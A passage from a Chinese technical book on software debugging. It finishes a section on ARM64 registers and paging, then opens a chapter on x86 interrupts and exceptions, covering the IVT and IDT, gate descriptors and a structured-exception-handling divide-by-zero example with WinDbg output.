bfc $Reg, #0, #12 ; clear reserved PCR bits
MEND
观察GetLastError的反汇编代码:
KERNELBASE!GetLastError:
76c3dcb4 e92d4800 push {r11,lr}
76c3dcb8 46eb mov r11,sp
76c3dcba ee1d3f50 mrc p15,#0,r3,c13,c0,#2
76c3dcbe 6b58 ldr r0,[r3,#0x34]
76c3dcc0 e8bd8800 pop {r11,pc}
上述代码中的第3条指令就是在访问CP15_TPIDRURW寄存器,其
下的ldr指令把TEB结构体中偏移0x34位置的LastErrorValue字段加载到
R0寄存器(用作返回值),然后把第1条指令压入栈的LR寄存器(保存
有返回地址)弹出到程序指针寄存器PC,就返回父函数了。
2.9.8 64位ARM架构
2011年10月,ARM对外宣布ARMv8架构的技术细节,特别强调的
最重要改进就是引入64位处理技术。与把32位的x86架构扩展到64位的
X64技术类似,ARMv8定义了两种执行状态,即64位AArch64和兼容原
来32位的AArch32。下面简要介绍AArch64的关键特征。
首先寄存器方面的改变,AArch64把寄存器划分为系统寄存器和应
用程序寄存器。应用程序寄存器如下。
R0~R30:共31个,既可以使用X0~X30这样的名称访问寄存器的
全部64位,也可以用W0~W30这样的名称只使用低32位。其中R29
一般用作栈帧指针(Frame Pointer,FP),R30用作函数返回地
址,简称LR。
SP:64位宽,专用作栈指针,也可以通过WSP访问低32位。
PC:程序指针,64位。
V0~V31:共32个,供SIMD和浮点数用途,128位,既可以使用Q0
~Q31访问完整的128位,也可以通过D0~D31、S0~S31、H0~
H31或者B0~B31访问低64位、32位、16位或者8位。
PSR(PState):程序状态寄存器,仍为32位。
图2-23所示的是运行在AArch64状态的Windows 10的一个执行现
场,从中可以看到上面介绍的大部分寄存器(不包括V0~V31)。
图2-23 ARM64执行现场
在内存管理方面,VMSAv8是ARMv8定义的虚拟内存系统架构,包
括VMSAv8-64和VMSAv8-32两套分页格式。其中VMSAv8-64是
AArch64状态下使用的主要格式,其主要特征如下。
最多4级页表。
输入地址最多为48位,输出地址也是最多为48位,即虚拟地址空间
和物理地址空间都为256TB。
支持的页大小有4KB、16KB和64KB。
VMSAv8-64实际上是32位下的LPAE格式的进一步扩展,这与x64
的分页格式是对32位x86的PAE格式的扩展如出一辙,不再赘述。
老雷评点
翻阅ARM手册,时常见x86的影子,此亦常理。
尽管本节花了较大篇幅介绍ARM架构,但是所涵盖的内容仍只是
纷繁复杂的ARM架构的一小部分。如果大家希望系统学习ARM架构,
那么ARM手册是很好的学习材料。推荐大家先阅读v7版本,因为v8版
本过于冗长,有5700多页,是v7版本(2700多页)的2倍还多。ARMv7
手册分为四篇:A篇名为《应用层架构》,介绍应用程序开发的基础知
识,相当于IA手册的卷1;B篇名为《系统层架构》,介绍开发系统软
件(操作系统)所需了解的深入内容,相当于IA手册的卷3;C篇名为
《调试架构》,介绍调试有关的机制;D篇为附录。
2.10 本章小结
很多软件工程师对硬件了解得太少,甚至不愿意去学习硬件知识,
事实上,了解必要的硬件知识对理解软件经常会起到事半功倍的效果,
扎实的硬件基础对于软件工程师来说也是非常重要的。
本章首先介绍了指令集和指令的执行过程(见2.1节),而后介绍
了IA-32处理器的发展历程和主要功能(见2.2节)。2.3节介绍了CPU的
操作模式和每种操作模式的基本特征和用途。2.4节介绍了IA-32 CPU的
寄存器。2.5节介绍了保护模式的内涵和主要保护机制。2.6节和2.7节详
细介绍了保护模式下的内存管理机制。2.8节介绍了个人计算机系统的
基本架构。2.9节概述了ARM架构的基础知识。
虽然本章的部分内容与软件调试没有直接的关系,但是这些内容对
于理解计算机系统的底层原理和进行系统级调试有着重要意义,是成为
软件调试高手必须掌握的基础内容。下一章将介绍CPU的中断和异常机
制。
参考资料
[1] Jack Doweck. Inside Intel Core™ Microarchitecture and Smart
Memory Access: An In-Depth Look at Intel Innovations for Accelerating
Execution of Memory-Related Instructions. Intel Corporation, 2006.
[2] 毛德操, 胡希明. 嵌入式系统——采用公开源码和
StrongARM/Xscale处理器[M]. 杭州:浙江大学出版社, 2003.
[3] IA-32 Intel Architecture Software Developer’s Manual Volume 1.
Intel Corporation.
[4] IA-32 Intel Architecture Software Developer’s Manual Volume
2A. Intel Corporation.
[5] IA-32 Intel Architecture Software Developer’s Manual Volume
2B. Intel Corporation.
[6] IA-32 Intel Architecture Software Developer’s Manual Volume 3.
Intel Corporation.
[7] INTEL 80386 PROGRAMMER’S REFERENCE MANUAL. Intel
Corporation.
[8] Tom Shanley. The Unabridged Pentium 4: IA-32 Processor
Genealogy[M]. Boston: Addison Wesley, 2004.
[9] P6 Family of Processors: Hardware Developer’s Manual. Intel
Corporation.
[10] Intel Sandy Bridge Review. bit-tech网站.
[11] Intel’s Haswell CPU Microarchitecture. realworldtech网站.
[12] ARM Architecture Reference Manual: ARMv7-A and ARMv7-R
edition (Chapter B3 Virtual Memory System Architecture (VMSA)) (B3-
1307). ARM Holdings.
[13] A Tour of the P6 Microarchitecture. Intel Corporation.
第3章 中断和异常
当形容一个人固执不知变通时,人们会说他“死心眼,顺着一条路
跑到天黑”,用这句话来描述CPU也非常恰当。因为无论把CPU的指令
指针(IP)指向哪个内存地址,它都会试图执行那里的指令,执行完一
条,再取下一条执行,如此往复。为了让CPU能够暂时停下当前的任
务,转去处理突发事件或其他需要处理的任务,人们设计了中断
(interrupt)和异常(exception)机制。
在计算机系统中,包括任务切换、时间更新、软件调试在内的很多
功能都是依靠中断和异常机制实现的。毫不夸张地说,中断和异常是计
算机原理中最重要的概念之一,充分理解中断和异常是理解CPU和系统
软件的关键。
本章先介绍x86架构的中断和异常(见3.1~3.5节),然后再扩展到
ARM架构(见3.6节)。
老雷评点
中断机制的出现是计算机历史上的一个重要里程碑,有了中
断后,才有了以处理中断为核心任务的系统软件,才有了专门为
系统软件开辟的内核空间,进而才确立了软件世界之二分格局。
3.1 概念和差异
本节将先介绍中断和异常的概念,帮助读者了解其基本特征,然后
比较它们之间有什么不同。
3.1.1 中断
中断通常是由CPU外部的输入输出设备(硬件)所触发的,供外部
设备通知CPU“有事情需要处理”,因此又称为中断请求(interrupt
request)。中断请求的目的是希望CPU暂时停止执行当前正在执行的程
序,转去执行中断请求所对应的中断处理例程(Interrupt Service
Routine,ISR)。
考虑到有些任务是不可打断的,为了防止CPU这时也被打扰,可以
通过执行CLI指令清除标志寄存器的IF位,以使CPU暂时“不受打扰”。
但有个例外,这样做只能使CPU不受可屏蔽中断的打扰,一旦有不可屏
蔽中断(Non-Maskable Interrupt,NMI)发生时,CPU仍要立即转去处
理。不过因为NMI中断通常很少发生,而且不可打断代码通常也比较
短,所以大多数情况下还是不存在问题的。可屏蔽中断请求信号通常是
通过CPU的INTR引脚发给CPU的,不可屏蔽中断信号通常是通过NMI引
脚发给CPU的。
中断机制为CPU和外部设备间的通信提供了一种高效的方法,有了
中断机制,CPU就可以不用去频繁地查询外部设备的状态了,因为当外
部设备有“事”需要CPU处理时,它可以发出中断请求通知CPU。但是如
果有太多的设备都向CPU发送请求,那么也会导致CPU频繁地在各个中
断处理例程间“奔波”,从而影响正常程序的执行。这好比我们通常只把
手机号码公开给熟悉的人,不然就可能会被频繁的来电“中断”正常的工
作。从这个意义上讲,中断是计算机系统中非常宝贵的资源。如果为某
个设备分配了中断资源,那么便赋予了它随时打断CPU的权力。
在硬件级,中断是由一块专门芯片来管理的,通常称之为中断控制
器(Interrupt Controller)。它负责分配中断资源和管理各个中断源发出
的中断请求。为了便于标识各个中断请求,中断管理器通常用
IRQ(Interrupt ReQuest)后面加上数字来表示不同路(line)的中断请
求信号,比如IRQ0、IRQ1等。根据从最初的个人计算机(IBM PC)系
统传承下来的约定,IRQ0通常是分配给系统时钟的,IRQ1通常是分配
给键盘的,IRQ3和IRQ4通常是分配给串口1和串口2的,IRQ6通常是分
配给软盘驱动器的。
图3-1所示的是作者使用的系统中各个中断请求号的分配情况。从
中可以看出,IRQ0、IRQ1、IRQ4和IRQ6的用途仍然与最初PC系统的用
途是一致的。IRQ9则是由很多个设备所共享的,这是因为PCI总线标准
支持多个PCI设备共用一个中断请求信号。
图3-1 中断请求(IRQ)号的分配情况
3.1.2 异常
与中断不同,异常通常是CPU在执行指令时因为检测到预先定义的
某个(或多个)条件而产生的同步事件。
异常的来源有3种。第一种来源是程序错误,即当CPU在执行程序
指令时遇到操作数有错误或检测到指令规范中定义的非法情况。前者的
一个典型例子是执行除法指令时遇到除数为零,后者的典型例子包括在
用户模式下执行特权指令等。第二种来源是某些特殊指令,这些指令的
预期行为就是产生相应的异常,比如INT 3指令的目的就是产生一个断
点异常,让CPU中断(break)进调试器。换句话说,这个异常是“故
意”产生的,是预料内的。这样的指令还有INTO、INT n和BOUND。第
三种来源是奔腾CPU引入的机器检查异常(Machine Check
Exception),即当CPU执行指令期间检测到CPU内部或外部的硬件错
误,详细内容参见第6章。
3.1.3 比较
至此,我们可以归纳出中断和异常的根本差异是:异常来自于CPU
本身,是CPU主动产生的;而中断来自于外部设备,是中断源发起的,
CPU是被动的。
对于机器检查异常,虽然有时是因为外部设备通过设置CPU的特殊
管脚(BUSCHK#或BINIT#和MCERR#)触发的,但是从产生角度来
看,仍然是CPU检测到管脚信号然后产生异常的,所以机器检查异常仍
然是在CPU内部产生的。
在很多文献和书籍中,尤其是在早期的资料中,把由INT n指令产
生的异常称为软件中断(software interrupt),把来自外部硬件的中断
(包括可屏蔽中断和不可屏蔽中断)称为外部中断。尽管今天仍然有很
多地方使用这种说法,但是大家应该意识到,严格来说,INT n导致的
软件中断不是中断而是异常。因为INT n指令的行为更符合异常的特征
——产生于CPU内部,来源是正在执行的指令本身。在本书中,如不加
特殊说明,中断就是指来自CPU外部的硬件中断。
3.2 异常的分类
根据CPU报告异常的方式和导致异常的指令是否可以安全地重新执
行,IA-32 CPU把异常分为3类:错误(fault)、陷阱(trap)和中止
(abort)。
3.2.1 错误类异常
导致错误类异常的情况通常可以被纠正,而且一旦纠正后,程序可
以无损失地恢复执行。此类异常的一个最常见例子就是第2章提到的缺
页异常。缺页异常是虚拟内存机制的重要基础,有时也称为页错误异常
或者缺页错误。为了节约物理内存空间,操作系统会把某些暂时不用的
内存以页为单位交换到外部存储器(通常是硬盘)上。当有程序访问到
这些不在物理内存中的页所对应的内存地址时,CPU便会产生缺页异
常,并转去执行该异常的处理程序,后者会调用内存管理器的函数把对
应的内存页交换回物理内存,然后再让CPU返回到导致该异常的那条指
令处恢复执行。当第二次执行刚才导致异常的指令时,对应的内存页已
经在物理内存中(错误情况被纠正),因此就不会再产生缺页异常了。
在Windows这样的操作系统中,缺页异常每秒钟都发生很多次。在
Windows系统中按Ctrl + Shift + Esc组合键,打开任务管理器,显示出PF
Delta列(选择View→Select Columns),便可以观察缺页异常的发生情
况。PF Delta值的含义是两次更新间的新增次数,默认每秒钟更新一
次。图3-2是作者在分析淘宝客户端软件(AliPay)时做的一个截图,图
中是按Page Faults列排序的,该列代表的是对应进程中缺页异常的累计
发生次数,位列前三名的分别是AlipaySecSvc、AlipayBsm和
TaobaoProtect,全都是AliPay软件的成员。
图3-2 观察缺页异常的发生情况
因为处理每次Page Faults时要执行比较复杂的逻辑,所以高的Page
Faults也常常意味着比较高的CPU使用率。在图3-2中,AlipaySecSvc进
程使用的CPU总时间高达1小时20分32秒。
当CPU报告错误类异常时,CPU将其状态恢复成导致该异常的指令
被执行之前的状态。而且在CPU转去执行异常处理程序前,在栈中保存
的CS和EIP指针是指向导致异常的这条指令的(而不是下一条指令)。
因此,当异常处理程序返回继续执行时,CPU接下来执行的第一条指令
仍然是刚才导致异常的那条指令。所以,如果导致异常的情况还没有被
消除,那么CPU会再次产生异常。
3.2.2 陷阱类异常
下面再来看陷阱类异常。与错误类异常不同,当CPU报告陷阱类异
常时,导致该异常的指令已经执行完毕,压入栈的CS和EIP值(即异常
处理程序的返回地址)是导致该异常的指令执行后紧接着要执行的下一
条指令。值得说明的是,下一条指令并不一定是与导致异常的指令相邻
的下一条。如果导致异常的指令是跳转指令或函数调用指令,那么下一
条指令可能是内存地址不相邻的另一条指令。
导致陷阱类异常的情况通常也是可以无损失地恢复执行的。比如
INT 3指令导致的断点异常就属于陷阱类异常,该异常会使CPU中断到
调试器(见4.1节),从调试器返回后,被调试器程序可以继续执行。
3.2.3 中止类异常
中止类异常主要用来报告严重的错误,比如硬件错误和系统表中包
含非法值或不一致的状态等。这类异常不允许恢复继续执行。原因有
二:首先,当这类异常发生时,CPU并不总能保证报告的导致异常的指
令地址是精确的。其次,出于安全性的考虑,这类异常可能是由于导致
该异常的程序执行非法操作导致的,因此就应该强迫其中止退出。表3-
1列出了3类异常的关键特征。
表3-1 异常分类
分类
报 告 时 间
保存的CS和EIP指针
可 恢 复 性
错误
(fault)
开始执行导致异常的
指令时
导致异常的那条指令
可以恢复执行(参见
下文)
陷阱
(trap)
执行完导致异常的指
令时
导致异常的那条指令的下
一条指令
可以恢复执行
中止
(abort)
不确定
不确定
不可以
需要说明的是,某些情况的错误类异常是不可恢复的。比如,如果
执行POPAD(Pop All General-Purpose Registers Doublewords)指令时栈
指针(ESP)超出了栈所在段的边界,那么CPU会报告栈错误异常。对
于这种情况,尽管异常处理例程所看到的CS和EIP指针仍然被恢复成好
像POPAD指令没有被执行过那样,但是处理器内部的状态已经变化
了,某些通用寄存器的值可能已经被改变了。这种情况大多是由于程序
使用堆栈不当所造成的,比如压栈和弹出操作不匹配,所以操作系统应
该将此类异常当作程序错误来处理,终止导致这类异常的程序。
3.3 异常例析
本节将介绍IA-32 CPU已经定义的所有异常及异常的错误码,并通
过一个小程序来演示除零异常。
3.3.1 列表
在系统中,每个中断或异常都被赋予一个整数ID——称为向量号
(Vector No.)。系统(CPU和操作系统等软件)通过向量号来识别该
中断或异常。IA-32架构规定0~31号向量供CPU设计者(英特尔等设计
x86处理器的公司)使用,32~255号向量(224个)供操作系统和计算
机系统生产厂商(OEM等)或其他软硬件开发商使用(见第11章)。
表3-2归纳了PC系统中常见的中断和异常。
表3-2 中断和异常列表
向
量
号
助记
符
类
型
描 述
来 源
0
#DE
错
误
除零错误
DIV和IDIV指令
1
#DB
错
误/
陷
阱
调试异常,用于软件调试
任何代码或数据
引用
2
中
断
NMI中断
不可屏蔽的外部
中断
3
#BP
陷
阱
断点
INT 3指令
4
#OF
陷
阱
溢出
INTO指令
5
#BR
错
误
数组越界
BOUND指令
6
#UD
错
误
无效指令(没有定义的指令)
UD2指令(奔腾
Pro CPU引入此
指令)或任何保
留的指令
7
#NM 错
误
数学协处理器不存在或不可用
浮点或
WAIT/FWAIT指
令
8
#DF
中
止
双重错误(Double Fault)
任何可能产生异
常的指令、不可
屏蔽中断或可屏
蔽中断
9
#MF
错
误
向协处理器传送操作数时检测到页错误(Page
Faults)或段不存在,自从486把数学协处理器集
成到CPU内部后,本异常便保留不用
浮点指令
10
#TS
错
误
无效TSS
任务切换或访问
TSS
11
#NP
错
误
段不存在
加载段寄存器或
访问系统段
12
#SS
错
误
栈段错误
栈操作或加载SS
寄存器
13
#GP
错
误
通用保护(GP)异常,如果一个操作违反了保护
模式下的规定,而且该情况不属于其他异常,则
CPU便产生通用保护异常,很多时候也被翻译为
一般保护异常
任何内存引用和
保护性检查
14
#PF
错
误
页错误
任何内存引用
15
保留
16
#MF
错
误
浮点错误
浮点或
WAIT/FWAIT指
令
17
#AC
错
误
对齐检查
对内存中数据的
引用(486CPU引
入)
18
#MC 中
止
机器检查 (Machine Check)
错误代码和来源
与型号有关(奔
腾CPU引入)
19
#XF
错
误
SIMD浮点异常
SIMD浮点指令
(奔腾III CPU引
入)
20
~
31
保留
32
~
255
用户
定义
中断
中
断
可屏蔽中断
来自INTR的外部
中断或INT n指令
3.3.2 错误代码
CPU在产生某些异常时,会向栈中压入一个32位的错误代码。其格
式如图3-3所示。
图3-3 异常的错误代码
其各个位域的含义如下。
EXT(External Event)(位0):如果为1,则表示外部事件导致该
异常。
IDT(Descriptor Location)(位1):描述符位置。如果为1,表示
错误码的段选择子索引部分指向的是IDT表中的门描述符;如果为
0,表示索引部分指向的是LDT或GDT中的描述符。
TI(GDT/LDT)(位2):仅当IDT位为0时有效。如果该位为1,
表示索引部分指向的LDT中的段或门描述符;如果为0,表示索引
部分指向的GDT中的描述符。
段选择子索引域表示与该错误有关的描述符在IDT、LDT或GDT表
中的索引。
缺页异常的错误码采用的格式与此不同。
3.3.3 示例
下面通过一个小程序来进一步理解错误类异常,如清单3-1所示。
该示例使用了Windows操作系统的结构化异常机制,对其很陌生的读者
可以先读一下本书的第11章(见11.4节)。
清单3-1 演示错误类异常的Fault小程序
1 // 通过除零异常理解错误类异常的处理过程
2 // Raymond Zhang 2005 Dec.
3 #include <stdio.h>
4 #include <windows.h>
5
6 #define VAR_WATCH() printf("nDividend=%d, nDivisor=%d, nResult=%d.\n"
, \
7 nDividend,nDivisor,nResult)
8
9 int main(int argc, char* argv[])
10 {
11 int nDividend=22,nDivisor=0,nResult=100;
12
13 __try
14 {
15 printf("Before div in __try block:");
16 VAR_WATCH();
17
18 nResult=nDividend / nDivisor;
19
20 printf("After div in __try block: ");
21 VAR_WATCH();
22 }
23 __except(printf("In __except block: "),VAR_WATCH(),
24 GetExceptionCode()==EXCEPTION_INT_DIVIDE_BY_ZERO?
25 (nDivisor=1,
26 printf("Divide Zero exception detected: "), VAR_WATCH(),
27 EXCEPTION_CONTINUE_EXECUTION):
28 EXCEPTION_CONTINUE_SEARCH)
29 {
30 printf("In handler block.\n");
31 }
32 return getchar();
33 }
在以上小程序中,我们故意设计了一个除零操作,即第18行,该行
对应的汇编指令如下:
18: nResult=nDividend / nDivisor;
00401087 8B 45 E4 mov eax,dword ptr [ebp-1Ch]
0040108A 99 cdq
0040108B F7 7D E0 idiv eax,dword ptr [ebp-20h]
0040108E 89 45 DC mov dword ptr [ebp-24h],eax
IA-32手册中对IDIV指令内部操作的定义开始几行是:
IF SRC = 0
THEN #DE; (* Divide error *)
FI;
……
也就是当CPU在执行IDIV指令时,首先会检查源操作数(除数)是
否等于零,如果等于零,那么就产生除零异常。#DE是除零异常的简短
记号(见表3-2)。
对于这个示例,当CPU执行到0040108B地址处的IDIV指令时,因
为源操作数的值是零,所以CPU会检测到此情况,并报告除零异常。接
下来CPU会把EFLAGS寄存器、CS寄存器和EIP寄存器的内容压入栈保
存起来,然后转去执行除零异常对应的异常处理程序(如何找到处理程
序的细节将在3.5节中讨论)。异常处理程序在执行完一系列检查和预
处理后(见11.2节和11.3节),会调用__except块的过滤表达式,并期望
得到以下3个值之一。
EXCEPTION_CONTINUE_SEARCH(0):本保护块不处理该异
常,请继续寻找其他的异常保护块。
EXCEPTION_CONTINUE_EXECUTION(1):异常情况被消除,
请回去继续执行。
EXCEPTION_EXECUTE_HANDLER(1):请执行本块中的处理
代码。
过滤表达式可以包含函数调用或其他表达式,只要其最终结果是以
上3个值中的一个。这个示例利用逗号运算符,在其中包含了一系列操
作:第23行打印出位置信息和当时的各变量值;第24行到第28行通过条
件运算符来判断发生的是何种异常,如果不是除零异常(异常代码不等
于EXCEPTION_INT_DIVIDE_BY_ZERO),那么就返回
EXCEPTION_CONTINUE_SEARCH,让异常处理程序继续搜索其他保
护块,如果是除零异常,就执行第25、26和27行。第25行将除数改为
1(纠正错误情况),第26行打印出当前信息,然后第27行返回
EXCEPTION_CONTINUE_EXECUTION,让CPU回到导致该异常的指
令位置继续执行。
执行这个小程序,得到的结果如下:
Before div in __try block:nDiviedend=22, nDivisor=0, nResult=100.
In __except block: nDiviedend=22, nDivisor=0, nResult=100.
Divide Zero exception detected: nDiviedend=22, nDivisor=1, nResult=100.
After div in __try block: nDiviedend=22, nDivisor=1, nResult=22.
容易看出,以上实际执行结果和我们的分析是一致的,异常情况被
纠正后,程序又继续正常运行了。
3.4 中断/异常的优先级
CPU在同一时间只可以执行一个程序,如果多个中断请求或异常情
况同时发生,CPU应该以什么样的顺序来处理呢?是按照优先级高低依
次处理,先处理优先级最高的。截至本书写作之时,IA-32架构定义了
10个中断/异常优先级别,具体情况见表3-3。
表3-3 中断/异常的优先级别
优先级
描 述
1(最
高)
硬件重启动和机器检查异常(Machine Check Exception)
2
任务切换陷阱(见4.3节)
3
外部硬件(例如芯片组)通过CPU引脚发给CPU的特别干预
(interventions)。
● #FLUSH:强制CPU刷新高速缓存
● #STPCLK(Stop Clock):使CPU进入低功耗的Stop-Grant状态
● #SMI(System Management Interrupt):切换到系统管理模式(SMM)
● #INIT:热重启动(soft reset)
4
上一指令导致的陷阱:
● 执行INT 3(断点指令)导致的断点
● 调试陷阱,包括单步执行异常(EFlags[TF]=1)和利用调试寄存器设置
的数据或输入输出断点(见4.2节)
5
不可屏蔽(外部硬件)中断(NMI)
6
可屏蔽的(外部硬件)中断
7
代码断点错误异常,即从内存取指令时检测到与调试寄存器中的断点地址相
匹配,也就是利用调试寄存器设置的代码断点
8
取下一条指令时检测到的错误:
● 违反代码段长度限制
● 代码内存页错误(即代码属性的内存页导致页错误)
9
解码下一指令时检测到的错误:
● 指令长度大于15字节(包括前缀)
● 非法操作码
● 协处理器不可用
10(最
低)
执行指令时检测到的错误:
● 溢出,当EFlags[OF]=1时执行INTO指令
● 执行BOUND指令时检测到边界错误
● 无效的TSS(任务状态段)
● 段不存在
● 栈异常
● 一般保护异常
● 数据页错误
● 对齐检查异常
● x87 FPU异常
● SIMD浮点异常
IA-32架构保证表3-3中各优先级别的定义对于所有IA-32处理器都是
一致的,但是同一级别中的各种情况的优先级可能与CPU型号有关。
3.5 中断/异常处理
尽管中断和异常从产生的根源来看有着本质的区别,但是系统
(CPU和操作系统)是用统一的方式来响应和管理它们的。本节先简要
介绍实模式下的中断和异常处理,然后详细介绍保护模式的情况,最后
再扩展到64位(IA-32e模式)。
3.5.1 实模式
在x86处理器的实地址模式下,中断和异常处理的核心数据结构是
一张名为中断向量表(Interrupt Vector Table,IVT)的线性表。它的位
置固定在物理地址0~1023,1KB大小。
每个IVT表项的长度是4个字节,共有256个表项,与x86 CPU的256
个中断向量一一对应。再进一步,每个IVT表项的4个字节分为两个部
分:高两个字节为中断例程的段地址;低两个字节为中断例程的偏移地
址。因为是在实模式下,所以段地址左移4位再加上偏移地址便可以得
到20位的中断例程物理地址。
当中断或者异常发生时,CPU会按照以下步骤来响应中断和异常。
① 将代码段寄存器CS和指令指针寄存器(EIP)的低16位压入堆
栈。
② 将标志寄存器EFLAGS的低16位压入堆栈。
③ 清除标志寄存器的IF标志,以禁止其他中断。
④ 清除标志寄存器的TF(Trap Flag)、RF(Resume Flag)和
AC(Alignment Check)标志。
⑤ 使用向量号n作为索引,在IVT中找到对应的表项(n*4+IVT表基
地址)。
将表项中的段地址和偏移地址分别装入CS和EIP寄存器中,并开始
执行对应的代码。
中断例程总是以IRET指令结束。IRET指令会从堆栈中弹出前面保
存的CS、IP和标志寄存器的值,于是便返回到了被中断的程序。
3.5.2 保护模式
保护模式下,中断和异常处理的核心数据结构是中断描述符表
(Interrupt Descriptor Table,IDT)。IDT的性质与IVT类似,但是格式
和特征有很多不同。
首先,与IVT的位置固定不同,IDT的位置是变化的。保护模式
中,CPU专门增加了一个名为IDTR寄存器来描述的IDT的位置和长度。
IDTR寄存器共有48位,高32位是IDT的基地址,低16位是IDT的长度
(limit)。为了访问IDTR寄存器,还增加了两条专用的指令:LIDT和
SIDT。LIDT(Load IDT)指令用于将操作数指定的基地址和长度加载
到IDTR寄存器中,也就是改写IDTR寄存器的内容。SIDT(Store IDT)
指令用于将IDTR寄存器的内容写到内存变量中,也就是将IDTR寄存器
的内容写到内存中去。LIDT和SIDT指令只能在实模式或保护模式的高
特权级(Ring 0)下执行。这是为了防止IDT被低权限的用户态程序所
破坏。在内核调试时,可以使用rigtr和rigtl命令观察IDTR寄存器的内
容。
通常,系统软件(操作系统或BIOS固件)在系统初始化阶段就准
备好中断处理例程和IDT,然后把IDT的位置通过IDTR(IDT Register)
告诉CPU。
在Windows操作系统中,IDT的初始化过程大致是这样的。IDT的最
初建立和初始化工作是由Windows系统的加载程序(NTLDR或
WinLoad)在实模式下完成的。在准备好一个内存块后,加载程序先执
行CLI指令关闭中断处理,然后执行LIDT指令将IDT的位置和长度信息
加载到CPU中,而后加载程序将CPU从实模式切换到保护模式,并将执
行权移交给NT内核的入口函数KiSystemStartup。接下来,内核中的处理
器初始化函数会通过SIDT指令取得IDT的信息,对其进行必要的调整,
然后以参数形式传递给KiInitializePcr函数,后者将其记录到描述处理器
的基本数据区PCR(Processor Control Region)和PRCB(Processor
Control Block)中。
以上介绍的过程都是发生在0号处理器中的,也就是所谓的
Bootstrap Processor,简称为BSP。因为即使是多CPU的系统,在把
NTLDR或WinLoad及执行权移交给内核的阶段都只有BSP在运行。在
BSP完成了内核初始化和执行体的阶段0初始化后,在阶段1初始化时,
BSP才会执行KeStartAllProcessors函数来初始化其他CPU,称为
AP(Application Processor)。对于每个AP,KeStartAllProcessors函数会
为其建立一个单独的处理器状态区,包括它的IDT,然后调用
KiInitProcessor函数,后者会根据启动CPU的IDT为要初始化的AP复制一
份,并做必要的修改。
在内核调试会话中,可以使用!pcr命令观察CPU的PCR内容,清单
3-2显示了Windows Vista系统中0号CPU的PCR内容。
清单3-2 观察处理器的控制区(PCR)
kd> !pcr
KPCR for Processor 0 at 81969a00: // KPCR结构的线性内存地址
Major 1 Minor 1 // KPCR结构的主版本号和子版本号
NtTib.ExceptionList: 9f1d9644 // 异常处理注册链表
[…] // 省略数行关于NTTIB的信息
SelfPcr: 81969a00 // 本结构的起始地址
Prcb: 81969b20 // KPRCB结构的地址
Irql: 0000001f // CPU的中断请求级别(IRQL)
IRR: 00000000 //
IDR: ffff20f0 //
InterruptMode: 00000000 //
IDT: 834da400 // IDT的基地址
GDT: 834da000 // GDT的基地址
TSS: 8013e000 // 任务状态段(TSS)的地址
CurrentThread: 84af6270 // 当前在执行的线程,ETHREAD地址
NextThread: 00000000 // 下一个准备执行的线程
IdleThread: 8196cdc0 // IDLE线程的ETHREAD结构地址
内核数据结构KPCR描述了PCR内存区的布局,因此也可以使用dt
命令来观察PCR,例如kd> dt nt!_KPCR 81969a00。
虽然理论上IDT的长度是可变化的,但通常都将其设计为可以容纳
256个表项的固定长度。在32位模式下,每个IDT表项的长度是8个字
节,IDT的总长度是2048字节(2KB)。
IDT的每个表项是一个所谓的门描述符(Gate Descriptor)结构。之
所以这样称呼,是因为IDT表项的基本用途就是引领CPU从一个空间到
另一个空间去执行,每个表项好像是一个从一个空间进入到另一个空间
的大门(Gate)。在穿越这扇门时CPU会做必要的安全检查和准备工
作。
IDT可以包含以下3种门描述符。
任务门(task-gate)描述符:用于任务切换,里面包含用于选择任
务状态段(TSS)的段选择子。可以使用JMP或CALL指令通过任务
门来切换到任务门所指向的任务,当CPU因为中断或异常转移到任
务门时,也会切换到指定的任务。
中断门(interrupt-gate)描述符:用于描述中断处理例程的入口。
陷阱门(trap-gate)描述符:用于描述异常处理例程的入口。
图3-4描述了以上3种门描述的内容布局。
从图3-4中可以看出,3种描述符的格式非常相似,有很多共同的字
段。其中DPL代表描述符优先级(Descriptor Previlege Level),用于优
先级控制,P是段存在标志。段选择子用于选择一个段描述符(位于
LDT或GDT中,选择子的格式参见2.6.3节),偏移部分用来指定段中的
偏移,二者共同定义一个准确的内存位置,对于中断门和陷阱门,它们
指定的就是中断或异常处理例程的地址,对于任务门,它们指定的就是
任务状态段的内存地址。
图3-4 IDT中的3种门描述符
系统通过门描述符的类型字段,即高4字节的8~12位(共5位),
来区分一个描述符的种类。例如任务门的类型是0y00101(y代表二进制
数),中断门的类型是0y0D110,其中D位用来表示描述的是16位门
(0)还是32位门(1),陷阱门的类型是0y0D111。
有了以上基础后,下面我们看看当有中断或异常发生时,CPU是如
何通过IDT寻找和执行处理函数的。首先,CPU会根据其向量号码和
IDTR寄存器中的IDT基地址信息找到对应的门描述符。然后判断门描述
符的类型,如果是任务描述符,那么CPU会执行硬件方式的任务切换,
切换到这个描述符所定义的线程,如果是陷阱描述符或中断描述符,那
么CPU会在当前任务上下文中调用描述符所描述的处理例程。下面分别
加以讨论。
我们先来看任务门的情况。简单来说,任务门描述的是一个TSS
段,CPU要做的是切换到这个TSS段所代表的线程,然后开始执行这个
线程。TSS段是用来保存任务信息的一段内存区,其格式是CPU所定义
的。图3-5给出了IA-32 CPU的TSS段格式。从中我们看到TSS段中包含
了一个任务的关键上下文信息,如段寄存器、通用寄存器和控制寄存
器,其中特别值得注意的是靠下方的SS0~SS2和ESP0~ESP2字段,它
们记录着一项任务在不同优先级执行时所应使用的栈,SSx用来选择栈
所在的段,ESPx是栈指针值。
CPU在通过任务门的段选择子找到TSS段描述符后,会执行一系列
的检查动作,比如确保TSS段描述符中的存在标志是1,边界值应该大
于0x67,B(Busy)标志不为1等。所有检查都通过后,CPU会将当前任
务的状态保存到当前任务的TSS段中,然后把TSS段描述符中的B标志设
置为1。接下来,CPU要把新任务的段选择子(与门描述符中的段选择
子等值)加载到TR寄存器,然后把新任务的寄存器信息加载到物理寄
存器中。最后,CPU开始执行新的任务。
图3-5 32位的任务状态段(TSS)
下面通过一个小实验来加深大家的理解。首先,在一个调试
Windows Vista的内核调试会话中,通过r idtr命令得到系统IDT表的基地
址:
kd> r idtr
idtr=834da400
因为双误异常(Double Fault,#DF)通常是用任务门来处理的,所
以我们观察这个异常对应的IDT表项,因为#DF异常的向量号是8,每个
IDT表项的长度是8,所以我们可以使用如下命令显示出8号IDT表项的
内容:
kd> db 834da400+8*8 l8
834da440 00 00 50 00 00 85 00 00 ..P.....
其中第2和第3两个字节(0数起,下同)组成的WORD是段选择
子,即0x0050。第5个字节(0x85)是P标志(为1)、DPL(0b00)和
类型(0b00101)。
接下来使用dg命令显示段选择子所指向的段描述符:
kd> dg 50
P Si Gr Pr Lo
Sel Base Limit Type l ze an es ng Flags
